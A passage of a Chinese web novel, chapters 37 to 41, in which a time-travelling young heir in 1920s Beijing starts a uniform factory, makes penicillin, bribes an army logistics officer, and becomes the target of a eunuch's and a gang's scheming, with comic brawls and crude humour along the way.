珍姐姐扬了扬手中的银票,“这是姑娘们的身子钱我收下,你不是收养不少孤儿么,算我一份!”
“我从小也是被卖到这地方来的,世道乱,不为富不仁已经挺难得了,还能像你这样管那些流浪的孤儿,我从心眼里佩服。”
谁说商女不知**恨,风尘之中亦有豪杰!
白敬业掂量掂量银票,觉得有些发沉。
他捧着珍儿的脸,印在脸蛋上,“没想到,咱们珍儿还是个巾帼英雄,得,我替孩子们谢谢你,有空的话跟我一起去看看,让他们当面谢你。”
珍儿翻了个白眼,笑道,“光用嘴谢?你得常来,我这天天给你留门。”
白敬业擦擦额头上的汗,嘴上答应着一定,他是真扛不住这娘们。
可能有人会觉得人家凭啥倒贴白敬业。
但是个女人都爱英雄。
谁又能抗住一个敢登报大骂皇上的人呢。
咱们的白嫖公子哼着小曲,晃晃悠悠的走出百花楼。
他余光一扫,看见小胡委屈巴巴的蹲在墙角。
“少爷…呜呜呜…少爷”
小胡一见到白敬业出来,委屈的眼泪都流了出来。
“少爷,你害苦了我,害苦了我啊。”
白敬业上去一脚蹬在他身上,“给我憋回去!带你来玩的,你看你那个死样子,大老爷们哭什么!丢不丢人!”
“赶紧起来窝囊废!叫车!”
小胡擦擦眼泪站了起来,委屈巴巴的问道,“去哪啊?”
“回小院,把那哥几个都叫过来,我有事情交代。”
第37章 王喜光
白大善人的铁杆狗腿们陆续来到四合院。
每个人进屋脸上都带着好奇的表情。
只见小胡坐在椅子上缩成一团,两只手环抱在胸前,一副被人侮辱的样子。
王武的好奇心比较重,凑了过去,“胡哥你咋了?让人欺负了?跟兄弟我说说,我给你报仇。”
小胡摇摇头,用袖子在湿润的眼角一抹,可怜巴巴的看了白敬业一眼。
众人都不明所以的看向白敬业。
白大善人把茶杯往桌上一墩,“都看**鸡毛!又不是我给他弄了,是……”
他将昨晚的事简单讲述了一遍。
“噗,呵呵哈哈”
“哈哈哈”
几人都捂着嘴憋笑。
王武像个欠儿蹬似的拍拍小胡的肩膀,“胡哥,这三娘们一起上是啥感觉,不得给您掏空了啊?”
“哈哈哈哈”
小胡一甩肩膀怒道,“**有多远给我滚多远。”
“你看,急了急了”
王武扭头脸上带着谄媚的笑容,“少爷,下回有这好事带我一个,我俩就够。”
“行,下回少爷一定带着你。”
白敬业在桌上敲了敲,清清嗓子,“咳,都别闹了,下面说点正事。”
“刚才我也说了,三老太爷手里军需的活让我接下来了。”
“小胡,你这两天给我找找有没有想往外兑的被服厂。如果有,价钱合适就盘下来,要是没有,你在南城挑个地点,买上缝纫的机器,咱们先把架子搭起来。”
“是,少爷”
被服厂这个活其实不难做,弄上几十台缝纫机。
招聘一些会缝纫的女工。
布料、棉花都是现成的,从染布厂直接买,再有几个大裁缝帮着指导,一点都不难。
难就难在你怎么接活。
就像后世马路边订做城市宣传标,难么?是个复印社就能干,关键你能接到么?
白敬业又转头看向张增致,“学校和宿舍那边冬天没办法施工,你先撤出来,给我负责在南城招人。”
“你家原先就在南城,那片你熟,王武和李福你们俩帮着他一起。”
“是,少爷”
“少爷,我那还有那些孩子怎么办?我一个大男人,也不太会带。”张增致面露难色。
白敬业想了想,也确实是,让一个男的天天哄孩子玩是挺难。
他斟酌片刻说道,“这样吧,让你妹妹从宅门出来,反正家里也用不到她,就让她帮着照看。”
**、李贵一看大家都有活,就他俩闲着,连忙问道,“少爷,我们俩呢?”
“别急”
白敬业安排道,“眼看要过年了,你们俩去东北跑一趟,我给你们俩写封信带上。要是找到我舅舅,就把信交给他。”
“把家伙带上,多带银子,如果没找到,你们俩也在年前赶回来。”
“少爷放心,我们一定把舅老爷找回来。”
给众人安排好活儿之后,白敬业换上一身白大褂,回到了实验室。
接下来他的任务是重中之重,将青霉素溶液结晶制作出来。
青霉素只有配制成青霉素钠盐才能注射到人体内。
他取出萃取洗涤过后的青霉素培养液,混合部分碳酸钠溶液。
又用滴管取去少量溶液,滴在ph试纸上。
PH试纸慢慢转变为淡绿色,证明溶液中的青霉素以转化为青霉素钠盐的形式存在。
只要进一步结晶析出,青霉素就大功告成!
这也标志着,白敬业在民国的第一步已经迈了出去,历史的车轮将会改变前进的方向。
……
北平南城
三合帮帮主彪爷脸上写满了为难。
他的对面坐着一个光头——大太监王喜光。
王喜光冷笑道,“彪子,我王喜光求你办这么点事,你就推三阻四的?你别忘了,前清那会儿,你的这条小命还是我保下来的!”
“王老爷,您说的这是哪的话,您的事我一定用心办。只是这,您干嘛非跟白大少爷过不去呢?”
王喜光冷哼一声,“妈的,这小狗崽子从安国回来,不好好当他的大少爷,竟然敢给我上眼药!”
王喜光自从吐出那两千大洋后,心里就恨上了白敬业。
太监身体残躯导致心理扭曲,要是恨上一个人,会千方百计的报复。
这不,他找到三合帮的帮主,就是那个络腮胡子的彪爷,让他帮着给出一口恶气。
彪爷犹豫了一下,起身为难道,“拐的白家大少爷进赌场,这我万万不敢干啊,要是出了事,你们宅门的七老爷还不把我撕碎了。”
“我手下还有一帮跟着我吃饭的兄弟,我也得替他们考虑考虑。”
王喜光一阵的冷笑,“呵呵,你怕七老爷?我告诉你小彪
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子,这事你要办不明白,小心我让你在北平待不下去!”
“你那点烂事当我不知道?贩卖**还翻腾**,这些年没我保着你,你这三合帮早他妈让人铲了!”
他说着站起了身,“小彪子我告诉你,我就给你一个月的时间,你要是办不明白,呵呵,我让你知道王老爷的厉害!”
说完后,王喜光迈步走出了三合帮。
“唉!”
看着王喜光走远,彪爷叹了口气,坐在椅子上愁容满面。
他现在就跟那夹心饼干似的,被夹在中间,两头都不敢得罪。
三合帮帮主这名声,只能吓唬吓唬穷人,在这些权贵眼里算个屁。
就拿白家这种庞然大物来说,白景泗的厅长前一段靠边站。
可白家花钱大点上下使银子,没几天人家又官复原职了,虽然暂时是副职,早晚人家能活动上去。
这种家庭,你让彪爷去祸害人家的继承人,再借他个胆儿也不敢。
这不是在安国,白家人生地不熟,白大少爷被坑一次就完了。
在北平你前脚坑完,后脚人能把你全帮拉出去打靶。
可是不按照王喜光说的办,自己也得不了好。
他可知道王喜光手里有不少钱,而且这些年有一定的人脉,自己在他手里把柄太多,小命在人家手里攥着呢。
正在彪爷两难之时,三合帮的狗头军师赵五走了进来,见他苦逼着脸,忙上前问道。
“彪爷,您怎么了,遇见什么难事了?”
彪爷阴着脸把事情说了一遍。
赵五在心里琢磨了一下,开口道,“彪爷,我看这两面咱谁都得罪不起,不能按那老太监说的办。”
彪爷瞥了他一眼,“废话,我当然知道得罪不起,问题是应该怎么办?”
赵五微微一笑,“彪爷,您还记得杨亦增么?”
彪爷一怔,“他出现了?”
赵五摇了摇头,“没有,不过当初跟着杨亦增他们一起要债的人,还有几个人活着。”
“两个月前,除了花猫和几个闹腾厉害的被枪决,还有几个人听到风声就跑了。”
“如今有一个花猫的小兄弟,最近回了北平就躲在他亲戚家。”
“您不是一直怀疑,杨亦增是……,不如咱们查查这件事情,真要是咱们想的那样,就把事情告诉老太监,让他们狗咬狗窝里斗!”
第38章 夏部长
彪爷听赵五说完,顿时来了精神。
他拍拍赵五的肩膀笑道,“哈哈,你不愧是帮里的狗头军师,脑袋就是比我们这些人好使。”
“我怎么就没想到呢,两方都得罪不起就让他们斗去,这样,你马上带人把花猫的兄弟逮回来,我要问问是怎么回事!”
过了能有小半天,一个嘴角长着黑痦子、眼窝发青的男人,被赵五押了进来。
“彪…彪爷,您找我?”
彪爷笑着点了点头,“大痦子,什么时候回来的?”
大痦子弯了下腰,“回彪爷,上个月回来的。”
“在乡下躲得好好的,还回来干嘛?不怕被逮进去?”
大痦子抽抽鼻子,眼神中有股子贪婪,“彪爷,乡下再好他没有这个不是。”他说着手做了一个托举的手势。
“再说北平城变天了,也没人管姆们这档子事儿了。”
彪爷的眼中尽是鄙夷,随即给了赵五一个眼神。
赵五下去后不久折返回来,手里提溜着一个油纸包和五块大洋。
“拿着吧,这是彪爷赏你的。”
大痦子打开油纸包一看,正是自己日思夜想的黑疙瘩。
他表情十分陶醉的在黑疙瘩上嗅了一下,而后连连向彪爷鞠躬。
“谢谢彪爷,谢谢彪爷!”
彪爷一摆手,指向旁边的椅子,“坐,你是花猫的兄弟,我照顾照顾你是应该的。”
“我有点事想问问你。”
“彪爷您尽管问。”
彪爷假模假式的叹了口气,“花猫走了,我心里还挺难受,我想问问你们当初惹到谁了,怎么被捅咕到报社去了?”
“也没惹到谁啊?”
大痦子挠了挠头,“彪爷您还不清楚么,就南城那帮老帮菜,谁敢得罪我们呢。”
“那怎么就突然被曝光出来逼**命,死的是哪一家啊?”
大痦子仔细回忆了一下,“杨爷失踪的前几天,我们去了不少人家要账…”
突然,他一拍大腿,“我想起来了彪爷,我们在第二天就听说老秀才吞了烟膏子。”
“当时,我们想找杨爷商量商量,但一直没找到他,我们以为杨爷知道信儿先躲了,可谁承想,没几天花猫大哥就被毙了,杨爷也失踪了。”
“张秀才?”
彪爷心里回想了一下,“是不是他们家姑娘挺漂亮的那个。”
“对对对,就是他们家。”
“他们家还有人在么?”
“彪爷,您还不知道呢?”大痦子疑惑道。
“他们家那个小子,现在就在南城招工呢,听说是替百草厅的大少爷招缝纫工,要做军服都招一星期了,谁知道他怎么傍上白大少爷了。”
大痦子的语气满是嫉妒、羡慕和恨。
这几句话听在彪爷耳朵里,仿佛云开见月。
他现在基本可以断定,杨亦增的失踪和白敬业有密不可分的关系。
彪爷点了点头,“行了,我也没别的事就是想问问,你去吧,有什么难处再来找我。”
“谢谢彪爷,谢谢您”
大痦子拎着钱和黑疙瘩,打算回去好好过把瘾。
等他出去以后,赵五凑到彪爷身边,“彪爷,您说这杨爷是怎么得罪白大少爷了…”
“哼”
彪爷冷哼一声,“宅门里的事谁知道呢?一个嫡出的大少爷想整死一个姨太太的哥哥,那还不简单?”
他说着看了一眼赵五,“你说咱们顺着这条线深挖,能不能借机会拿捏一下…”
赵五的头摇的跟拨浪鼓似的,“彪爷,弄死条人命对咱们来讲都不算大事,更何况宅门里呢,拿捏白大少爷整不好咱们还惹一身骚。”
“您别忘了,他连皇上都不惯着!咱们呐,还是把这事告诉老太监,让他们自己斗去!”
彪爷想了想,觉得赵五说的有道理,随即吩咐道,“你安排人顺着这条线往下挖,先从杨亦增那个外宅开始打探。”
“是,彪爷”
……
实验室内,白敬业将几个西林瓶小心翼翼的放在皮箱内。
西林瓶里的白色粉末就是他前几天配制出的盘尼西林。
他浪费了不少的青霉哈密瓜,总共也就制取出来10g左右。
每瓶都是0.25g标准40万单位的针剂,抛出去实验用的两针,他手里也没多少。
至于实验的对象?这年头得杨梅大疮的人可太多了。
他拎着小皮箱走出了实验室。
小胡也拎着个小箱子在外等候,见白敬业出来立马上前,要伸手接过箱子。
白敬业摆了摆手,“不用,这个我自己拿。”
二人上了黄包车,准备前往奉军驻北平办事处。
走之前白敬业已经打探清楚了,如今驻北平替奉军京榆地区部队置办军需的人姓夏。
是张少帅嫡系部队三军团的后勤部长。
这位夏部长和张少帅是奉军讲武堂一个班出来的,属于嫡系中的铁杆。
办事处坐落在执政府的附近,是前清一个贝勒的宅子。
白敬业走到门口卫兵的面前,笑呵呵的说道。
“你好我是百草厅的白敬业,替夏部长置办军需,有些事情想跟夏部长商
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量,还请您帮着通传一下。”
他从兜里掏出两块大洋塞到卫兵的手中。
卫兵拿着大洋冲着白敬业笑的有些腼腆,“俺在报纸见过你!您就是白修合白先生吧?”
“是我”白敬业点了点头。
“俺可喜欢听你的书了,白先生稍等,俺这就去传话。”
白敬业心想,“这人啊,还是得出名!要不然街边的狗都不待理你的。”
没到五分钟,卫兵笑着跑了回来,“白先生,里边请。”
他带着白敬业来到办公室的门前。
白敬业只见一个大胖子站在门口。
有多胖?
跟说相声的孙悦差不多。
起码能毁三个白敬业。
他心想这夏部长也太胖了,赶忙快走两步伸出手,“夏部长您好,鄙人白敬业。”
“哈哈哈”
夏部长伸手和他握住笑道,“大名鼎鼎的修合先生来了,我这办事处今天是蓬荜生辉啊!来,里边请。”
其实夏部长没必要对一个置办军服的人这么热情。
但白敬业的身份不一样。
不光是名声在外,他还是百草厅的少东家。
和北平城里的这些大户们搞好关系,也方便他筹集个军需、军饷唔的。
进了办公室几人落座,勤务兵上茶后就退了出去。
“白先生,您今天过来是有什么事么?”
白敬业点点头,“夏部长,奉军的军服采买是由我承接的,如今与之相关的我都准备完毕,随时可以开工,这次来是想领取一下服装的版型。”
夏部长听完从桌上一摞子文件中,抽出一个文件袋交给白敬业。
“白先生看看,有什么困难尽管说。”
白敬业打开一看,里面是手绘的图片,包括军官和士兵的服装细节。
正是最著名的那一款奉系棕色军服。
白敬业翻了几页赞叹道,“不得不说,咱们大帅的眼光真不错,这可比北洋的蓝色军服漂亮多了。倒是有一点和鬼子的军装有些相似。”
“哈哈哈”
夏部长大笑,“白先生见多识广,咱们奉军的人才多,有不少从日本陆军学院毕业的,设计军装时也参考了一些日本关东军。”
看完白敬业将图片收回,“虽然颜色不同,但从染布厂定制也不是难事,夏部长,我今天其实还有另一件事。”
“哦?白先生请讲。”
白敬业将带来的两个箱子摆在桌面,打开一看。
一箱里面是明晃晃的十根大黄鱼
另一箱里装着十个西林瓶,里面都是盘尼西林。
第39章 送礼
夏部长看着桌上的黄金心头一动,眉头稍微皱了皱。
“白先生,您这是何意?”
“哈哈哈”
白敬业开口大笑,“夏部长,白某虽是一文人,但做事的礼节还是晓得的。”
“承办军服,白某说不为赚钱那是假的,但也是真心想交您这个朋友,还请夏部长收下,在后续回款中高抬贵手,您放心款项一到另有重谢。”
“哦~哈哈哈哈…”
夏部长笑的前仰后合,他心想,这位白先生人还真挺不错。
没有那些文人身上的穷酸气。
而且在这大黄鱼的映照下,还给人一种怎么说呢?
如沐春风!
“既然白先生如此慷慨,那我老夏就却之不恭了。”
说完他将装着黄金的箱子盖上,又看向旁边的盘尼西林。
“白先生,这是何物?”
白敬业一笑,用俩手指头捏起一个西林瓶。
“这是我最新研制的药物,名为盘尼西林。”
“此药的主要功效为治疗细菌感染,无论是外伤、还是内部细菌感染、败血症、梅毒等等都有奇效!”
“感染症状轻的一针下去,1-2天必然会好转。严重的3-5天,也会有所改善。”
夏部长听完,直勾勾的看着白敬业手中的药,呆愣在原地。
他可太清楚如果白敬业说的是真的,那么这药的价值有多高了。
现在的战争,如果你受伤感染了,和等死没有区别,只能靠个人的体质硬挺。
为了保住命,只能采取截肢手术。
所以每一仗下来,断胳膊断腿的太多了。
虽然奉军内部也采购大批量的中药和西药,可是效果太差强人意。
“白先生,你说的都是真的?!”夏部长的声音提高了许多。
“千真万确!夏部长若是不信可以在北平打……”
白敬业刚想说,让他打听打听自己的信誉。
又一想,自己在北平是出名,可是和信誉啥的也不沾边啊。
顶多算是个文人+慈善家+花花公子。
还是得拿白家这块牌子出来。
“夏部长,您应该知道我们白家这块老匾的份量。”
“修合无人见、存心有天知!”
“更何况事关将士们的生死,我白某人有几个脑袋敢拿这种事情开玩笑!”
夏部长闻言点了点头,他认可白敬业说的话。
而且相信他肯定不敢拿假药出来招摇撞骗。
他知道白敬业拿出药来肯定是有所求,于是咬了咬牙问道。
“白先生,您有什么要求,能办的我老夏一定帮着办!”
白敬业从药箱里拿出个小册子,“这上边记载了,盘尼西林的使用方法和注意事项。”
“我想请夏部长尽快实验此药的效果。”
“如果此药真如我白修合所说,还请夏部长帮忙引荐下张少帅,我想和少帅聊一聊扩大此药生产的事宜。”
白敬业说到这面露苦笑,“实不相瞒夏部长,此药虽效果神奇,但制作太难,没有少帅的支持很难量产。”
这倒不是白敬业说假话,原先他以为找张少帅无非是扯个虎皮做大旗。
可他这段时间一打听各种设备的进口价格却傻了眼。
办一个两条生产线的药厂,没有三十万银元根本下不来!
就是把白敬业送到百花楼接客,他也得有几年才能赚回来。
“啪!”
夏部长一拍桌子,“白先生放心,我立马就安排药物的实验,有了结果,我一定第一时间通知你。”
白敬业拱手抱拳,“夏老哥爽快!”,他这个人跟蛇似的,有了口顺着杆就往上爬。
“哈哈哈哈,好,修合老弟,你这个朋友我老夏交定了!”
等送走了白敬业,夏部长立马抄起了电话,“喂,给我接三军团储世新师长。”
“老储,我听说你们师这次在山海关损失很大啊,听说有好几个连营长都受伤挺严重的,我得到了一款神药,是白家……”
“哈哈哈,我不想着你老储想着谁啊,都是一期五班的战友血亲血亲的!”
他放下电话,叫来了自己的卫队长。
“你马上坐我的车,去找储世新师长把盒子里的药交给他,记住!碎了一瓶你立马给我进军法处!”
“是,部长!”
安排好了药的事,他不停的在屋子里踱步,左右寻思着还是要马上上报。
“喂,茶壶么,帮我找一下少帅,我老夏有要紧的事。”
“什么?少帅还没起来,那等少帅醒了我再打。”
出了办事处的大门。
小胡凑在白敬业身边,压低声音道,“少爷,咱这药这么好,为啥不跟七老爷说,在百草厅卖啊?”
白敬业一笑摇了摇头,“跟你说也不懂,这药光靠咱们家守不住!”
二人正交谈的时候,一个身穿北洋军服的中年男人跟白敬业擦肩而过。
他回头望了一眼,心里冷笑一声,“白家?”,而后转身进了办事处。
白敬业看着小胡不停的回头,疑惑道,“你看什么呢?”
小胡挠了挠头,有些吃不准的说道,“那人看着有点眼熟。”
白敬业也回头望了一眼,只看到一个背影。
“谁啊?”
“好像是关静山。”
“关静山?他的部队不是打散了么?”
小胡点点头,“是打散了,少爷最近你
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没出来走动,我听说他从直系跳槽了,花了不少银子在执政府买了个军需的职务。”
“军需?”
白敬业嘟囔了一句,也没当回事,招呼道,“走吧,咱们上街,这么久不出来好好逛逛,少爷带你下馆子去!”
“哎,好嘞!”
好不容易闲了下来,白敬业决定逛逛街,大吃一顿,再给收养的孩子们买点东西。
小丫鬟木棉挺长时间没见了,也得买点东西哄一哄。
当然,百花楼是不可能去的,珍姐姐实在太猛。
以现在白敬业的功力,一会儿就得投降。
吃饱喝足后,二人在天桥溜达起来。
虽是寒冬腊月,但临近年根底下,天桥别有一份烟火气。
白敬业整了一份炸灌肠,也不嫌蒜水的味儿大,吃的还挺香。
逛到一半,走到一座桥前,俩人走不了了,前面人挤人堵在了一起。
白敬业纳闷,这在桥上呢,怎么这么挤。
他拍了拍前面的人,“受累问您一句,前边怎么了?”
“嗨!两马车堵一起去了,谁也不愿意让谁,好像要打起来了。”
白敬业一听来了劲,他是哪有热闹哪到。
好在他身材比较瘦,带着小胡硬是挤出来一条道钻到前面。
到了近前一看,好么,这人他还认识,正是他那活爹白景琦。
“哎呦少爷,这不七老爷怎么跟人吵起来了,咱们得帮忙啊。”
白敬业抹了抹嘴笑起来,“不着急,看看,你说我这活爹多没六,大街上跟人吵架玩。”
俩人正说着呢,那边白景琦和对方动起手了。
白景琦‘乒乓’给了对方俩嘴巴子。
“**!”对方就是一愣被打懵了。
紧接着对方上去抱住白景琦就想给他摔倒。
咱们白七爷练家子啊!能让他摔倒?
可对方力气也大,俩人就扭打在一起。
对方见弄不过白景琦,开始玩埋汰的,一把薅住白景琦的头发。
白景琦这就不占便宜了,对方**是个光头。
“撒手小子!你撒手!”
“我就不撒!”
白敬业一看活爹要吃亏,这就不能不上了。
打仗亲兄弟、上阵父子兵。
白敬业挤了上去,按住对方的胳膊,“撒开撒开,老爷们打架怎么跟他妈老娘们似的,还薅头发?”
“骂谁娘们呢?!小子你拉偏架是怎么着!给我滚一边去!”
好家伙,白敬业这小身板,对方胳膊都快赶上他腰粗了。
一挥胳膊杵在白敬业身上。
他就感觉自己像飞起来似的,直往后倒。
“少爷!”
“哎呦我艹!”
第40章 郑老屁
“梗~”
白敬业仰面朝天被摔的直梗梗哼
(。-`ω??-)。
周围有人眼尖认了出来。
“这不报纸上那白修合么!”
“嚯!还真是白修合。”
有的人起着哄,“修合先生起来揍他,就用降龙十八掌揍他丫的!”
“用什么降龙十八掌,得用一阳指戳他!”
还有的人幸灾乐祸,“嘿嘿,这孙子也有今天,看他就不是好嘚瑟的,挨揍了吧。”
白景琦这边见自己儿子被摔了,心里火也起来了。
顾不得被揪的头发,双手一使劲,腿上借着力。
“我去**!”
一把把光头大汉从桥上给扔到河里。
“好!漂亮!这位爷真有功夫!”
“好嘛,怪不得白修合能写出来,原来他爸爸是武林高手!”
北平人最大的特点就是看热闹不嫌事大,这边打河里去了,那边还喊好呢。
白景琦赶紧来到白敬业身边,和小胡一起给他搀扶起来。
白敬业摔倒的那一刻。
就好像袁绍遇见了华雄,心里只有一个想法。
倘若颜良文丑(**李贵)一人在此,我何惧此獠!
好一会儿,他这才缓了过来,“我说爸贝,您老可够没六的啊,大桥上跟人家撂跤玩!”
“嘿,什么叫我没六啊,是那小子他…”
白景琦回身一找,那位光头大爷,从水里爬出来了,抱着自己的鞋正跟那哭呢。
大老爷们哭的哇哇的。
白敬业心里一合计,“得,知道这位爷是谁了。”
二斤饼一斤肉,四斤粮食没吃够。
晌午一顿都不能少的吃播鼻祖——郑老屁,屁大爷。
他对郑老屁这个人还是有一定好感的,可他那个孙子郑三旦?
**孙子!
白景琦看他哇哇哭,便走了过去,“哎哎哎,我说你这哭什么呢。”
他用手一指白敬业,“我儿子让你摔个大屁蹲,你还哭上了。”
“我的鞋,呜呜呜,鞋…”
白景琦一看他哭的可怜,鞋上全都是淤泥,大冬天光着脚,也不想跟他计较。
“不就是一双鞋…”
“你懂什么!这是我媳妇今早给我做的!新鞋!”
“你瞧瞧你,我赔你一双不就完了么,跟我走吧。”
白敬业一瞧,好,自己糊里糊涂挨顿揍,结果还得陪人家买鞋去。
他向着四周一拱手,“各位老少爷们,都散了吧,没事了没事了?”
“白爷,您那功夫呢,倒是往外使啊!”
“就是啊,拿掌拍他啊!”
白敬业大萝卜脸不红不白的,“您各位等我练练,练他个三年五载的再回来收拾他。”
他这人就这样,都让人打的四脚朝天跟王八似的,还有心情在这贫呢。
就这样一件小事在四九城传开了,有人说白敬业是手下留情,看人家可怜不好意思动手。
也有人说白修合这孙子任嘛不会,写的东西都是幻想出来的。
给郑老屁扔在内联升以后。
白敬业就上了白景琦的马车,一起返回了白家。
没办法,逛不了了,一动弹尾巴骨都疼。
内联升的掌柜听了郑老屁说完经过,下巴都要惊掉了。
他往外一指,“你!揪七老爷一绺头发?摔了大少爷一个屁墩?”
“怎么了?”
“傻爷们!你知道那俩人是谁么?”
郑老屁还不服气道,“不就是有钱人家的财主么,村里的财主俺也见过,怎么着?”
掌柜的被他的话气笑了,“财主?呵呵,百草厅你听过么,那位是百草厅的当家人白七爷。”
“再说你摔一屁墩的那位更了不得了,平时看报么?”
郑老屁摇了摇头,“不认字,听村里的人念叨过几回。”
掌柜的把嘴一撇,“知道前段时间登报大骂皇上溥仪,逼他还钱那位爷么?”
“你还敢摔他一屁墩,那是白大善人!”
郑老屁一听也吓了一身冷汗,“哎哟我的亲娘唉,骂皇上的就是他?”
“哼”
掌柜的冷哼了一声,拍拍他的肩膀,“家里几口人啊?”
“七口”
“一人两双!”
郑老屁一听就急了,“一双鞋两块,多的你拿钱啊?”
“呵呵,反正不用你花钱!”
……
“七老爷、大少爷回来…哎呦!这是怎么了?快来人扶着点大少爷!”
门房的秉宽,看着几人进了宅门,模样这个凄惨。
小胡搀着白敬业。
白敬业捂着尾巴骨不敢挪步。
七老爷还用手捂着头龇牙咧嘴的。
“这是怎么回事啊?”
“少爷怎么了?”
张增业和那哥俩都出来扶着白敬业。
“呵!秉宽爷爷,您还是问问我爸贝吧。”
白景琦揉了揉头,乐么滋的说道,“没什么?中午跟人打了一架,那小子揪我一绺头发,给敬业摔了一屁墩。”
王武和李福一听就不干了,都跟着嚷嚷。
“谁啊少爷,胆肥了,咱们回去扒了他的皮!”
“这是太岁头上动土!”
秉宽挺大个岁数气的胡子直颤。
白敬业也不愿听他爹在那白话,一摆手,“行啦行啦,裹什么乱,赶紧扶着少爷我回屋。”
几人扶着白敬业给他送进了书房。
张增致从怀里掏出封请柬递给了白敬业,“少爷,这是今天豫才先生到小院给您送的请柬。”
“请柬?”
白敬业接过一看,原来是北大快到假期了,后天准备联合燕京大学,一起开个联欢会。
诚挚邀请北大知名校友白修合先生参加。
他想了想
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吩咐道,“小胡,取一千大洋,换成米面肉油,再准备一些能放的住的点心,明天送到北大去,交给蒋校长。”
“啊?”
小胡苦着脸说道,“少爷,还捐啊?咱都给北大捐多少了?”
“废话!”
白敬业一板脸,“大过年的一起乐呵乐呵,告诉蒋校长,这些生活用品让他转交给那些家庭困难的学生和老师。”
“是,少爷”
此举倒不是白敬业充大头,他是缺钱,但缺的是几十万大洋。
一两千块现在对于他来说不差钱!
而且他学的也是前世的雷布斯,回母校一趟嘛,总得表示表示。
白敬业也没想到,他的这一无心之举,在不久的将来,竟然能帮他在**上起了很大的作用。
“少爷,您要招的缝纫工,都招满了随时可以开工。”
白敬业一怔,“这么快?”
张增致笑道,“咱们给的钱多自然就有人来,而且女工平时在家也是闲着,巴不得有个活计干呢。”
白敬业从招工的时候就想好了。
这年头哪怕你赚点违法钱都行,但是别抢老百姓的窝窝头。
都说老百姓嫌弃工资低,可谁又想想是不是这个时代资本家给的就是这么低。
从33两白银到月薪个位数的大洋,资本家对待百姓永远是那么狠。
白敬业的目光在几人划过,“小胡,有没有靠谱点的人选,开春以后增致还要监督工地,被服厂需要个经理。”
张增致倒是能干,可一人兼顾两头忙不过来。
那哥俩打打杀杀还行,别的,看报纸都能睡着了。
小胡想了想,脑子里划过一个名字,“少爷还真有,赵五爷的儿子赵大水!”
“两年前赵大水高中毕业就进了老铺,脑子灵活做事也稳当,听我爹说柜上打算将他当掌柜培养。”
“就他了!明天让他来找我,跟着少爷我总比柜上有前途。”
“少爷说的对!”
“跟着少爷多有前途啊。”几个人捧起了臭脚。
白敬业当即决定,也顾不得什么挖不挖家里的墙角,谁挖不是挖。
夜晚,小木棉嘟着嘴给他上药。
白敬业的安禄山之手向后伸去,“小木棉,想少爷了么?”
“哼,不想,少爷您怎么老也不回来呀。”
“少爷我在外有大事!”
他说着就准备展开攻势,攻上山头。
“哎呀,少爷,你身上还有伤呢。”
“呵呵,没事,拿东西垫着点,自动档。”
……
经历了几天的明察暗访,三合帮的赵五终于在杨亦增的这件事上有了些眉目。
“彪爷,我打探出了一些消息。”
“说”
“杨亦增的那个外宅周围邻居太少,并没什么有用的,可是张家兄妹那天的踪迹我打探出来了。”
第41章 偌大个华夏就放不下一张安静的书桌
赵五喝口茶润了润嗓子,“就在张秀才吞**不久,有两个人进了他的家。
“将张家兄妹给接走了,并且晚上连夜将张秀才的遗体也装走了。”
彪爷一愣,“这么巧?看来有人盯着杨亦增,不是一天两天的了,接走他们的人是谁?”
“白大少爷的家丁,**王武!”
“消息可靠?”彪爷听后‘噌’的站了起来。
赵五点头道,“可靠,**两兄弟的邻居亲眼看见他们背了一个人回家,后边还跟着一个女人。”
“而且我在他们家附近的棺材铺也打探了一下,那的掌柜说,**当天订了一口棺材,还是要现成的。我估计就是桩检的张秀才。”
“还真是他干的!哈哈……”
彪爷的眼中难掩兴奋,不停的在屋中踱步。
想了好一会儿,他才问道,“你说他们能把人弄哪去呢?”
赵五微微一笑,“彪爷您怎么忘了?咱们不知道,可是有人一定能知道啊。”
“谁?”
“王喜光!他在白家那么久,要真是白家大爷干的,有哪个地方隐蔽能藏人、能做点别人不知道的勾当,他还不是一清二楚么?”
“嗯!”
彪爷深吸了一口气,“说的对,明天一大早,不!你现在套车就去把王总管接来,这事咱们查的差不多,也够应付他检查了。”
“明白,我这就去。”
深夜,王喜光怒气冲冲的进了三合帮。
一见面就劈头盖脸的骂道,“我说小彪子!大半夜**抽风啊!不知道我老人家年纪大,这点要休息么!”
其实不怪王喜光发火。
这几天他攒了一肚子的火气,正要在外宅那里发泄发泄,却被赵五给打断。
他一个太监怎么发泄?
人残心不残,巧舌如簧对对碰!
彪爷赶忙赔罪,给他沏了一壶茶,“王老爷您息怒,要不是有重要的事,我怎敢大半夜扰您老人家的美梦。”
王喜光翘着二郎腿坐在椅子上,一脸的怒意,端起茶喝了一口。
“有话说、有屁放!”
“王老爷,您吩咐我琢磨白大少爷的事,我实在没想出好的办法。”
王喜光斜眼瞪了他一眼,“大半夜的你找我就是说这屁话的?”
“哈哈,王老爷您圣明,这事我虽然没办利索,但有另一件更大的事,我找到些蛛丝马迹,您还记得杨亦增么?”
“姨奶奶的哥哥?他不是畏罪潜逃了么?”
彪爷摇摇头,“他估计是被你们白家的大少爷给杀了!”
“什么!”
王喜光瞪大眼睛站了起来,“你再说一遍!给我详细的说。”
“……”
彪爷把自己的猜测和打探来的线索托盘而出。
王喜光听后止不住的冷笑,“嘿嘿,怪不得府里多来了两个下人,原来里面还他妈有套头啊!”
他在心里默默盘算,白敬业带人去哪里。
突然,王喜光脑子里闪过两个地点。
他冲着彪爷吩咐道,“白家在城外能藏人就两个地方,一个是海淀的花园,那有我盯着。”
“还有个地方,是黄庄附近的菜园,武贝勒的坟就在那附近,你明天安排人到哪给我仔细搜,看看能不能查出来点什么。”
“您放心,我明天一准办。”
王喜光这才转怒为喜,拍拍彪爷的肩膀,“行,小彪子,不枉老爷我疼你一回,办好了老爷我重重有赏!”
……
第二天,白敬业如约带上请柬,和小胡来到北大参加联欢会。
一进操场这场面大的。
那是锣鼓喧天
鞭炮齐鸣
红旗招展
人山人海!
怎么跟你形容呢,差点给白敬业挤到墙外边。
他费了半天劲才在人堆里找到鲁豫才。
一见面他擦了擦额头的汗,“豫才先生,好家伙这场面够大的,大冬天给我挤得一身汗。”
“哈哈哈”
豫才先生大笑,拽着白敬业就往里走,“北大、燕大联合举办,这人可不多么,跟我来,蒋校长刚才还念叨想见见你呢。”
他跟着豫才先生来到操场不远处的一个席棚内。
白敬业一打眼心里翻了个跟头。
这一棚子的人,全是后世挂墙上的黑白照片。
满门英杰的国学大师钱中季
时任北大的庶务长地质学主任仲揆(四光)先生。
清末狂儒留着辫子的辜先生
还有最大的那个公知先生……
